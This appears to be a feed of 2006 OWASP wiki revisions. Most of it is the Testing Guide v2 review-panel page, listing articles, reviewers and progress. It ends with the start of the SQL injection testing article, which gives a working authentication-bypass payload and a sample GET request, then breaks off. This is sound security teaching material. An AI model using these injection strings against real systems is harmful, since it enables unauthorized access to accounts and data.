** 4.4 Authentication Testing (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Authentication-Testing-Index-Page.aspx Authentication Testing Index]&lt;br /&gt;
** 4.4.1 Default or guessable (dictionary) user account (80%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Default-or-Guessable-User-Account-Testing-AoC.aspx Default or guessable user account review]&lt;br /&gt;
** 4.4.2 Brute Force (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Brute-Force-Testing-AoC.aspx Brute Force review]&lt;br /&gt;
** 4.4.3 Bypassing authentication schema (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Bypassing-Authentication-Schema-AoC.aspx Bypass Authentication review]&lt;br /&gt;
** 4.4.4 Directory traversal/file include (100%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Directory-Traversal-Testing-AOC.aspx Directory Traversal Testing review]&lt;br /&gt;
** 4.4.5 Vulnerable remember password and pwd reset (90%) Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Vulnerable-Remember-Password-and-Pwd-Reset-AoC.aspx Vulnerable Reset Password review]&lt;br /&gt;
** 4.4.6 Logout and Browser Cache Management Testing (100%) Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Logout-and-Browser-Cache-Management-Testing-AoC.aspx Logout and Browser Cache Management Testing review]&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.5 Session Management Testing --&amp;gt; Syed Mohamed A'''&lt;br /&gt;
5 of 6 articles to be reviewed  &lt;br /&gt;
** 4.5 Session Management Testing (95%)&lt;br /&gt;
** 4.5.1 Analysis of the Session Management Schema (90%)&lt;br /&gt;
** 4.5.2 Cookie and Session token Manipulation (100%)&lt;br /&gt;
** 4.5.3 Exposed session variables (90%)&lt;br /&gt;
** 4.5.4 Session Riding (XSRF) (80%)&lt;br /&gt;
** 4.5.5 HTTP Exploit (0%)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.6 Data Validation Testing --&amp;gt; Meucci'''&lt;br /&gt;
18 articles reviewed (3 are at 0%)&lt;br /&gt;
'''[OK]'''&lt;br /&gt;
** 4.6 Data Validation Testing : Reviewed by EK&lt;br /&gt;
** 4.6.1 Cross site scripting: Reviewed by EK (Reformatted it slightly with wiki tags). '''Not completed'''&lt;br /&gt;
** 4.6.1.1 HTTP Methods and XST Reviewed by MM. Reviewed by AP.&lt;br /&gt;
** 4.6.2 SQL Injection (90%) Reviewed by MM. Reviewed by EK.&lt;br /&gt;
*** Not sure about &amp;quot;inferential&amp;quot; injection definition in &amp;quot;Description of Issue&amp;quot;&lt;br /&gt;
*** Added some reference to Oracle. Corrected English.&lt;br /&gt;
** 4.6.2.1 Stored procedure injection (40%) '''TD (not enough informations)'''&lt;br /&gt;
**4.6.2.2 Oracle testing (0%) '''TD (not enough informations)'''&lt;br /&gt;
** 4.6.2.3 MySQL testing (100%) Reviewed by MM&lt;br /&gt;
** 4.6.2.4 SQL Server testing (95%) Reviewed by MM. '''tools?'''&lt;br /&gt;
** 4.6.3 LDAP Injection (90%) Reviewed by MM added wp and tools&lt;br /&gt;
** 4.6.4 ORM Injection (0%) '''TD (not enough informations)'''&lt;br /&gt;
** 4.6.5 XML Injection (90%) Reviwed and updated by MM. '''WP and tools?'''&lt;br /&gt;
** 4.6.6 SSI Injection (95%) Reviewed by MM &lt;br /&gt;
** 4.6.7 XPath Injection (80%) Reviewed by MM. '''Gray box section is to complete?'''&lt;br /&gt;
** 4.6.8 IMAP/SMTP Injection (95%)Reviewed by MM &lt;br /&gt;
** 4.6.9 Code Injection (70%) Reviewed by MM. '''Not completed'''&lt;br /&gt;
** 4.6.10 OS Commanding (70%) Reviewed by MM. '''Not completed'''&lt;br /&gt;
** 4.6.11 Buffer overflow Testing (100%) Reviewed by MM. '''Note: these tests are not usual web app tests'''&lt;br /&gt;
** 4.6.11.1 Heap overflow (100%) Reviewed by MM&lt;br /&gt;
** 4.6.11.2 Stack overflow (100%)Reviewed by MM&lt;br /&gt;
** 4.6.11.3 Format string (100%)Reviewed by MM&lt;br /&gt;
** 4.6.12 Incubated vulnerability testing (95%) Reviewed by MM, whitepapers?&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''4.7 Denial of Service Testing--&amp;gt; Revelli'''&lt;br /&gt;
8 of 8 articles Reviewed&lt;br /&gt;
'''[OK]'''&lt;br /&gt;
** 4.7 Denial of Service Testing 100% Reviewed by Revelli&lt;br /&gt;
** 4.7.1 Locking Customer Accounts 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.2 Buffer Overflows 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.3 User Specified Object Allocation 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.4 User Input as a Loop Counter 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.5 Writing User Provided Data to Disk 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.6 Failure to Release Resources 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.7 Storing too Much Data in Session 100% Reviewd by Revelli&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.8 Web Services Testing --&amp;gt; Matteo Meucci'''&lt;br /&gt;
6 of 6 articles reviewed&lt;br /&gt;
'''[OK]'''&lt;br /&gt;
** 4.8 Web Services Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.1 XML Structural Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.2 XML content-level Testing (90%) Reviewed by Meucci&lt;br /&gt;
** 4.8.3 HTTP GET parameters/REST Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.4 Naughty SOAP attachments (95%) Reviewed by Meucci&lt;br /&gt;
** 4.8.5 Replay Testing (95%) Reviewed by Meucci. '''Need to add code examples, images and proof of impersonation'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.9 AJAX Testing --&amp;gt; Roxberry'''&lt;br /&gt;
3 of 3 articles to be reviewed &lt;br /&gt;
** 4.9 AJAX Testing (70%)&lt;br /&gt;
** 4.9.1 Vulnerabilities (60%)&lt;br /&gt;
** 4.9.2 How to test (60%)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''5. Writing Reports: value the real risk'''&lt;br /&gt;
We have to write about it. I consider it not yet finished.&lt;br /&gt;
O of 3 articles to be reviewed.&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix A: Testing Tools --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix B: Suggested Reading --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix C: Fuzz Vectors --&amp;gt; Stefano Di Paola'''&lt;br /&gt;
1 article of 1: Need to be updated&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Reviewers  Rules &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1) Check the english language&amp;lt;br&amp;gt;&lt;br /&gt;
2) Check the template: the articles on chapter 4 should have the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Template (http://www.owasp.org/index.php/Template_Paragraph_Testing_AoC)&lt;br /&gt;
&lt;br /&gt;
In some articles we don't need to talk about Gray Box Testing or other, so we can eliminate it.&lt;br /&gt;
&lt;br /&gt;
3) Check the reference style. (I'd like to have all the referenced URLs visible because I have to produce also a pdf document of the Guide).&lt;br /&gt;
I agree with Stefano, we have to use a reference like that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;== References ==&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Whitepapers'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [2]...&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Tools'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* Francois Larouche: &amp;quot;Multiple DBMS Sql Injection tool&amp;quot; - http://www.sqlpowerinjector.com/index.htm &amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4) Check the reference with the other articles of the guide or with the other OWASP Project.&lt;br /&gt;
&lt;br /&gt;
5) Other?&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12811</id>
		<title>OWASP Testing Guide v2 Review Panel</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v2_Review_Panel&amp;diff=12811"/>
				<updated>2006-11-15T20:34:36Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
Update: 15th November, 16.00 (GMT+1)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Reviewing planning&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
**********************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The reviewers are:&lt;br /&gt;
Mark Roxberry,&lt;br /&gt;
Alberto Revelli,&lt;br /&gt;
Daniel Cuthbert,&lt;br /&gt;
Antonio Parata,&lt;br /&gt;
Matteo G.P. Flora,&lt;br /&gt;
Matteo Meucci,&lt;br /&gt;
Eoin Keary,&lt;br /&gt;
Stefano Di Paola,&lt;br /&gt;
James Kist,&lt;br /&gt;
Vicente Aguilera,&lt;br /&gt;
Mauro Bregolin,&lt;br /&gt;
Syed Mohamed A&lt;br /&gt;
&lt;br /&gt;
We can begin the 1st reviewing phase by review all 63 articles (nearly 13 articles per person). The deadline is 15th November at 20.00 (GMT+1) because we have 15th November as 1st deadline for the Autumn of Code Project.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;We are waiting for the following articles &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4.2.2 Spidering and googling (0%, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
4.2.4.2 DB Listener Testing (0%, Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.5.5 HTTP Exploit (0%, Arian J.Evans)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.2.2 Oracle testing (0%,Alexander Kornbrust)&amp;lt;br&amp;gt;&lt;br /&gt;
4.6.4 ORM Injection (0%, Mark Roxberry)&amp;lt;br&amp;gt;&lt;br /&gt;
5. Writing Reports: value the real risk&amp;lt;br&amp;gt;&lt;br /&gt;
5.1 How to value the real risk (50%, Daniel Cuthbert, Matteo Meucci, Sebastien Deleersnyder, Marco Morana)&amp;lt;br&amp;gt;&lt;br /&gt;
5.2 How to write the report of the testing (0%, Daniel Cuthbert, Tom Brennan, Tom Ryan) &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;Here is the complete list of articles to be reviewed: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*********************************************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Introduction --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed  -&amp;gt; reviewed by Eoin Keary&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''The OWASP Testing Framework --&amp;gt;...'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.1 Introduction and objectives --&amp;gt;.EK'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.2 Information Gathering (Reviewed by EK) --&amp;gt; Keary'''&lt;br /&gt;
9 of 10 articles to be reviewed -&amp;gt; &amp;lt;BR&amp;gt; &lt;br /&gt;
* '''Application Discovery''': &lt;br /&gt;
** Reviewed + updated(EK) (Maybe we should include HTTP methods for application descovery, such as HTTP HEAD command?)&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Analysis of error codes''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Infrastructure configuration management testing AoC''': &lt;br /&gt;
** Reviewed by EK. '''Not in typical guide structure'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''SSL/TLS Testing AoC''': &lt;br /&gt;
** Reviewed + updated(EK) &amp;lt;BR&amp;gt;&lt;br /&gt;
* '''DB Listener Testing''': &lt;br /&gt;
** '''Incomplete'''&amp;lt;BR&amp;gt;&lt;br /&gt;
* '''Application configuration management testing''': &lt;br /&gt;
** Reviewed by EK. '''Not typical guide structure'''&lt;br /&gt;
** This is generally a &amp;quot;white box&amp;quot; section. There are no examples of testing the configuration from a remote perspective. If this was the aim of the document, thats fine. '''- Need feedback on this one!!'''&lt;br /&gt;
** ''Sample/known files and directories'': might be good to refer to http://www.owasp.org/index.php/Old_file_testing_AoC ??&lt;br /&gt;
** ''Logging'': Timestamp is also important&lt;br /&gt;
* '''File extensions handling'''&amp;lt;BR&amp;gt;&lt;br /&gt;
** contains the text: &amp;quot;''...To review and expand...''&amp;quot; - '''Is this complete??'''&lt;br /&gt;
** '''Need a second opinion on this one'''!! :)&lt;br /&gt;
* '''Old file testing''': Reviewed by EK&lt;br /&gt;
&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.3 Business logic testing --&amp;gt; Meucci'''&lt;br /&gt;
1 of 1 article to be reviewed &lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.4 Authentication Testing --&amp;gt; Roxberry (articles have been edited)'''&lt;br /&gt;
0 of 7 articles to be reviewed &lt;br /&gt;
** 4.4 Authentication Testing (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Authentication-Testing-Index-Page.aspx Authentication Testing Index]&lt;br /&gt;
** 4.4.1 Default or guessable (dictionary) user account (80%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Default-or-Guessable-User-Account-Testing-AoC.aspx Default or guessable user account review]&lt;br /&gt;
** 4.4.2 Brute Force (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Brute-Force-Testing-AoC.aspx Brute Force review]&lt;br /&gt;
** 4.4.3 Bypassing authentication schema (95%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Bypassing-Authentication-Schema-AoC.aspx Bypass Authentication review]&lt;br /&gt;
** 4.4.4 Directory traversal/file include (100%) : Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Directory-Traversal-Testing-AOC.aspx Directory Traversal Testing review]&lt;br /&gt;
** 4.4.5 Vulnerable remember password and pwd reset (90%) Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Vulnerable-Remember-Password-and-Pwd-Reset-AoC.aspx Vulnerable Reset Password review]&lt;br /&gt;
** 4.4.6 Logout and Browser Cache Management Testing (100%) Reviewed by MR [http://www.markroxberry.net/archive/2006/11/14/Logout-and-Browser-Cache-Management-Testing-AoC.aspx Logout and Browser Cache Management Testing review]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.5 Session Management Testing --&amp;gt; Syed Mohamed A'''&lt;br /&gt;
5 of 6 articles to be reviewed  &lt;br /&gt;
** 4.5 Session Management Testing (95%)&lt;br /&gt;
** 4.5.1 Analysis of the Session Management Schema (90%)&lt;br /&gt;
** 4.5.2 Cookie and Session token Manipulation (100%)&lt;br /&gt;
** 4.5.3 Exposed session variables (90%)&lt;br /&gt;
** 4.5.4 Session Riding (XSRF) (80%)&lt;br /&gt;
** 4.5.5 HTTP Exploit (0%)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.6 Data Validation Testing --&amp;gt; Meucci'''&lt;br /&gt;
18 articles reviewed (3 are at 0%)&lt;br /&gt;
** 4.6 Data Validation Testing : Reviewed by EK&lt;br /&gt;
** 4.6.1 Cross site scripting: Reviewed by EK (Reformatted it slightly with wiki tags). '''Not completed'''&lt;br /&gt;
** 4.6.1.1 HTTP Methods and XST Reviewed by MM. Reviewed by AP.&lt;br /&gt;
** 4.6.2 SQL Injection (90%) Reviewed by MM. Reviewed by EK. Reviewed by AP.&lt;br /&gt;
*** Not sure about &amp;quot;inferential&amp;quot; injection definition in &amp;quot;Description of Issue&amp;quot;&lt;br /&gt;
*** Added some reference to Oracle. Corrected English.&lt;br /&gt;
*** Updated&lt;br /&gt;
** 4.6.2.1 Stored procedure injection (40%) '''TD (not enough informations)'''&lt;br /&gt;
**4.6.2.2 Oracle testing (0%) '''TD (not enough informations)'''&lt;br /&gt;
** 4.6.2.3 MySQL testing (100%) Reviewed by MM&lt;br /&gt;
** 4.6.2.4 SQL Server testing (95%) Reviewed by MM. '''tools?'''&lt;br /&gt;
** 4.6.3 LDAP Injection (90%) Reviewed by MM added wp and tools&lt;br /&gt;
** 4.6.4 ORM Injection (0%) '''TD (not enough informations)'''&lt;br /&gt;
** 4.6.5 XML Injection (90%) Reviwed and updated by MM. Updated by AP. '''WP and tools?'''&lt;br /&gt;
** 4.6.6 SSI Injection (95%) Reviewed by MM &lt;br /&gt;
** 4.6.7 XPath Injection (80%) Reviewed by MM. '''Gray box section is to complete?'''&lt;br /&gt;
** 4.6.8 IMAP/SMTP Injection (95%)Reviewed by MM &lt;br /&gt;
** 4.6.9 Code Injection (70%) Reviewed by MM. '''Not completed'''&lt;br /&gt;
** 4.6.10 OS Commanding (70%) Reviewed by MM. '''Not completed'''&lt;br /&gt;
** 4.6.11 Buffer overflow Testing (100%) Reviewed by MM. '''Note: these tests are not usual web app tests'''&lt;br /&gt;
** 4.6.11.1 Heap overflow (100%) Reviewed by MM&lt;br /&gt;
** 4.6.11.2 Stack overflow (100%)Reviewed by MM&lt;br /&gt;
** 4.6.11.3 Format string (100%)Reviewed by MM&lt;br /&gt;
** 4.6.12 Incubated vulnerability testing (95%) Reviewed by MM, whitepapers?&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''4.7 Denial of Service Testing--&amp;gt; Revelli'''&lt;br /&gt;
8 of 8 articles Reviewed&lt;br /&gt;
** 4.7 Denial of Service Testing 100% Reviewed by Revelli&lt;br /&gt;
** 4.7.1 Locking Customer Accounts 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.2 Buffer Overflows 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.3 User Specified Object Allocation 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.4 User Input as a Loop Counter 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.5 Writing User Provided Data to Disk 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.6 Failure to Release Resources 100% Reviewd by Revelli&lt;br /&gt;
** 4.7.7 Storing too Much Data in Session 100% Reviewd by Revelli&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.8 Web Services Testing --&amp;gt; Matteo Meucci'''&lt;br /&gt;
6 of 6 articles reviewed&lt;br /&gt;
** 4.8 Web Services Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.1 XML Structural Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.2 XML content-level Testing (90%) Reviewed by Meucci&lt;br /&gt;
** 4.8.3 HTTP GET parameters/REST Testing (100%) Reviewed by Meucci&lt;br /&gt;
** 4.8.4 Naughty SOAP attachments (95%) Reviewed by Meucci&lt;br /&gt;
** 4.8.5 Replay Testing (95%) Reviewed by Meucci. '''Need to add code examples, images and proof of impersonation'''&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''4.9 AJAX Testing --&amp;gt; Roxberry'''&lt;br /&gt;
3 of 3 articles to be reviewed &lt;br /&gt;
** 4.9 AJAX Testing (70%)&lt;br /&gt;
** 4.9.1 Vulnerabilities (60%)&lt;br /&gt;
** 4.9.2 How to test (60%)&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''5. Writing Reports: value the real risk'''&lt;br /&gt;
We have to write about it. I consider it not yet finished.&lt;br /&gt;
O of 3 articles to be reviewed.&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix A: Testing Tools --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix B: Suggested Reading --&amp;gt;...'''&lt;br /&gt;
1 article of 1: need to update it searching all the guide for paragraps: tools&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
* '''Appendix C: Fuzz Vectors --&amp;gt; Stefano Di Paola'''&lt;br /&gt;
1 article of 1: Need to be updated&lt;br /&gt;
&lt;br /&gt;
_________________________________________________________________________________________________________________________&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Reviewers  Rules &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&lt;br /&gt;
*************************&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1) Check the english language&amp;lt;br&amp;gt;&lt;br /&gt;
2) Check the template: the articles on chapter 4 should have the following:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Template (http://www.owasp.org/index.php/Template_Paragraph_Testing_AoC)&lt;br /&gt;
&lt;br /&gt;
In some articles we don't need to talk about Gray Box Testing or other, so we can eliminate it.&lt;br /&gt;
&lt;br /&gt;
3) Check the reference style. (I'd like to have all the referenced URLs visible because I have to produce also a pdf document of the Guide).&lt;br /&gt;
I agree with Stefano, we have to use a reference like that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;== References ==&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Whitepapers'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* [2]...&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'''Tools'''&amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;* Francois Larouche: &amp;quot;Multiple DBMS Sql Injection tool&amp;quot; - http://www.sqlpowerinjector.com/index.htm &amp;lt;br&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4) Check the reference with the other articles of the guide or with the other OWASP Project.&lt;br /&gt;
&lt;br /&gt;
5) Other?&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12810</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12810"/>
				<updated>2006-11-15T20:30:10Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
An SQL injection attack consists of insertion or &amp;quot;injection&amp;quot; of an SQL query via the input data from the client to the application.&amp;lt;BR&amp;gt; &lt;br /&gt;
A successful sql injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such shutdown the DBMS) or recover the content of a given file present on the DBMS filesystem.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
Three classes of SQL Injection exist: inband, out-of-band and inferential. The inband type uses the same channel of the attack in order to receive the information, &lt;br /&gt;
the out-of-band type uses an external channel. &lt;br /&gt;
The channel used for the attack to receive the information (for example taking advantage of other protocols of communication, e.g. smtp protocol) and the inferential uses inferential methods for obtaining the required value. We can find a sql injection vulnerability in general by observing particular error messages returned by the application. However in some cases the application is written in such way that returns one customized error page. In this case we have a Blind Sql Injection.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Testing ===&lt;br /&gt;
&lt;br /&gt;
Consider the following sql query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1&lt;br /&gt;
 $password = 1' or '1' = '1&lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;SELECT * FROM Users WHERE Username= '1' OR '1' = '1' AND Password= '1' OR '1' = '1'&amp;lt;/nowiki&amp;gt; &lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or a set of values) because the  condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;BR&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.''&lt;br /&gt;
Another example of query is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parenthesis and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That simply consist of adding a number of closing parenthesis until we obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way everything that follows such symbol is considered as a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*. In Oracle the symbol is &amp;quot;--&amp;quot;.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
